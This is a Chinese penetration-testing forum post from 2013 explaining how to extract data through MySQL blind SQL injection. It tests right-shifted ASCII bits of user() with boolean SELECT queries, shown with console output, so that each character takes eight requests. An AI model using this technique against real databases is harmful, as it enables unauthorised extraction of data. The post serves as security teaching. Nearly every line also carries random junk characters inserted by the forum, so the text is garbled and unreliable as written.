中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位0 M% v* _- h6 X  ]) l

7 b; {2 `& _/ X : w* {9 h0 k! s3 l. i: l

6 a5 i7 {- k- Q8 L, b6 ~8 Q下面将以查询mysql数据库当中user()的第一位为例:
. @7 w6 A, M1 T/ M: s$ {
( V/ Y/ J6 ~% H2 G/ O2 W/ }. @5 y; e + r2 i0 N1 R6 C# O! F

4 i, q! J0 Z4 m0 `ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)& G) y' T% e# a: C% o6 B

+ |  e3 d* a0 M2 O5 ?: U & f0 O" I# Q8 N
9 s. j+ e7 [( B, K
首先执行如下sql语句:
2 x+ P3 y9 p1 P9 M0 [5 `4 `$ o- e: B) p3 P. k. p8 l
9 S3 v' K# |6 i: f2 b+ X

- `0 K: G: s$ b! Ymysql> select (ascii((substr(user(),1,1))) >> 7)=0;
+ R% d( c6 j; w$ I, b) J* }0 Q! w
( Q7 u& p' g% O4 M$ j% x& K5 K4 \( ` 1 r* ]7 S; I  J) x3 U0 a

5 b; P% B# ^8 A& }: q4 s0 [. V$ Y我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
! s2 O( ?2 ^7 X
& I& H& a, c1 k9 j- w % E  o# k8 H3 Y; d
8 q* f/ r4 h0 N& V: s8 D
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为10 o1 i6 L; g+ s8 g" ?3 @' P; }

! S" i. v$ A) z1 {0 I3 P. p$ S
; l5 V1 q/ E+ \; {9 |, r9 \
- B1 ?( H! r- {* t) a' f如果运算结果为1,说明第一位为0,不为1
" `& m+ {2 u9 [+ X
  f* P5 g1 T0 p; v5 d" I+ \
' r7 @" j/ ]$ g
# e1 l7 F6 l6 ?2 r. W+————————————–+
) S$ M/ M2 M7 i3 J2 S/ h" w& \
1 v- W0 m" n5 _: {| (ascii((substr(user(),1,1))) >> 7)=0 |
* i' X5 f. M' T, O0 S' N; @
0 a6 Y" v4 m7 D* ]" b" K+————————————–+9 ?' k* e1 W& ~; U! S

& a6 z$ A4 A6 {+ J8 j7 f| 1 |
& I: V$ w# C0 q8 p% C! I
' ?1 }% [( l; r  y9 a7 a) c' H2 n+————————————–+6 A# R2 ?$ l' T! F( q8 [/ l

8 o5 f# C- h9 H8 l; I7 T2 A& `$ \4 z1 row in set (0.00 sec)
  z* l% ~0 P  w% ^1 t+ y5 _5 I- s& g2 L$ [2 J- }
这样我们就确定这个8bit的ascii的第一位为0$ M. ]8 A5 u# L" U) W! P

, I: _' [/ j8 v0 [: D ) h- ^) A; I% U  U8 j
6 \+ f# E5 x0 i' U
第二次我们来做6次右偏移来确定前两位
6 F" g/ j, @2 y1 s9 ^) z. X6 T# P5 V

( z8 a7 z2 {: L% p, g8 F5 c( l  q/ ?3 n! [5 |- H
前两位可能是01或00,即依然可以与0做比较,5 A. s5 p2 w4 s$ a4 ]

  M# T% ~8 E1 kmysql> select (ascii((substr(user(),1,1))) >> 6)=0;* H1 W$ z" S! K8 l8 P

: [, E; Q# B" b+————————————–+: z+ _9 l% }- r+ M9 x

4 R% P2 S* d6 }; `  e| (ascii((substr(user(),1,1))) >> 6)=0 |
: f# j* r. z) v; k
4 R0 M1 M+ T, G# ~) W* R* U+————————————–+/ P9 s( v2 M0 U$ x0 ^1 d7 x
0 H# q# D) P1 s# J
| 0 |; ~; C5 U9 c( u7 R

* K, x: R8 Q2 a3 G0 H4 Q) f+————————————–+
2 V8 A: S5 U6 c$ ?3 J
0 D. l3 k( n6 E7 E" V0 \" v1 row in set (0.00 sec)
, s8 F- k; e$ Q% v8 g" j7 x, O0 e/ X" F5 w
1 b2 v) i" {" ]+ l

! Z( ~- Z+ G  I9 D结果为0,即第二位为1' y0 V4 c+ x/ l7 R
9 X% [! G9 _0 q' P* s

0 \! u! o: m) X  N
* S; O  C  f0 ]! s( Y开始猜测前三位为010或011
9 E' a9 f/ [! D$ k  t, D/ O; N
% y" \0 r# a) Y' R0 L$ |$ d
& ?! y% r. K2 u. v
/ r: r* ]( P; U# \' Z7 |/ l) Q8 K让我们看看010和011的ascii码是多少% B5 g  t% U! X* I
' ^( r& g0 }" C& p) |: C9 A

9 ^, _. ^  p) Y1 P9 ^1 c; C7 \$ _9 n3 y
, u0 E* S5 m0 T" S; e" v) E7 E分别查询select b’011′ select b’010′
0 h! T! q' b5 _2 V+ U# ]  y% G# c+ N! A4 f$ ]! b
9 D2 e, k( N% n- e
3 U7 v3 g/ b8 N
获得结果 010 = 2 011 = 3
& D2 K5 I- z5 f, Q1 j$ @, w8 s0 S, @3 z- l
* E; G3 c! {! _' N' N6 H5 O
$ r& c2 Z$ m& f) G
执行如下sql:$ X. ]7 G- r) H& N! z

  f2 }8 M$ S8 ]( A; h - N) D0 D/ x4 f8 \
- f9 g( ^' n. L: D  w( F
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;: T, S! R9 g' Z$ O0 t
, a4 o9 X: ]* N3 r- d; V% v
+————————————–++ i# b3 T; P: H! R; ^/ j

4 T" q) Z+ E+ d/ o* J9 E| (ascii((substr(user(),1,1))) >> 5)=2 |7 O9 W: r# E0 ~) y

4 v0 |) t- D) z7 e7 [9 r$ w7 l$ Q+————————————–+: m1 p) ~) j: T+ z' a9 ^" S& R

! }. e1 x2 Z' V5 b3 o! r6 e| 0 |8 ^1 C, @( \5 ^  O
% I' P9 M3 s# j" b
+————————————–+0 y% u$ X) N* W  A

$ E; j1 x; r+ o+ u$ n. w4 `即前三位不为010,而是011. I0 Y" O* }0 b6 g6 F& I( K7 g
2 E% T6 w! Q* J- y; Q
: S$ ?: H% W5 }6 M) g+ i
1 j6 ?  x0 Z! O* L- g: ?
直到获得最后一位
" b+ R4 F5 y2 z. q/ M. L8 s1 S9 o6 Y+ E; q8 ~/ j! W8 f$ A. a

4 \: j4 q" s/ [* G
% e9 [6 H1 a6 n% n! q$ o; ?( |最终结果为:01110010
/ V, D8 w- O* Q
1 R, t% w( S- m& W, o0 ]& t3 r. P3 a % ^  s& u& ]# d; s6 e$ ]. {% t

; r" e" T, P8 c  U* u9 k: g$ f9 f转换一下:
, C9 O# V# m# U* _9 R
  A/ i- G1 l/ B) V: H 0 p& [& q4 c$ x, o: z

7 y% G6 Y  q' Xselect b’01110010′
% z  \" U6 @9 |! L7 b' w1 ~" K) [" p7 g! e7 a) b# ^7 y

3 [# F# K/ o# c" t& a
& D+ l/ P& z% a5 u1 [" l( k- y2 X查询结果' Y* a+ }. g" C" X( h

, M, c- u  |- G% B
5 i: ]& r" X, l. H( I# m. U
! q" C( I: D4 [6 _  E+————-+3 `$ I7 N2 q0 l" I* D
' P6 q: a; i* V9 ^# Y
| b’01110010′ |( @# D& h4 h  k; e
9 n, |' o0 W5 m0 Q
+————-+4 _5 x% G; j, i- o5 a5 p3 k) [

  Y2 Q- T5 ~( F9 ?& o; E) o| r |1 J7 Y, @! Q) U& R

9 ^- G3 a* ?: o2 q% v+————-+
) T! o$ M- X+ y1 G' d$ i# ~2 w: _9 e5 U. ~0 |
1 row in set (0.00 sec)
+ O# c( B  x" Y3 n3 K7 {, p1 d+ l
  |! T" c/ z2 W7 u7 A% @
; W  N1 y, U* p. Z2 t" V( R) y0 m7 N( ^1 z
这样我们就获得了user()的第一位.其它位依此类推2 @0 C+ P" b( V$ w8 n

; _, z) k7 A# G1 ]




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2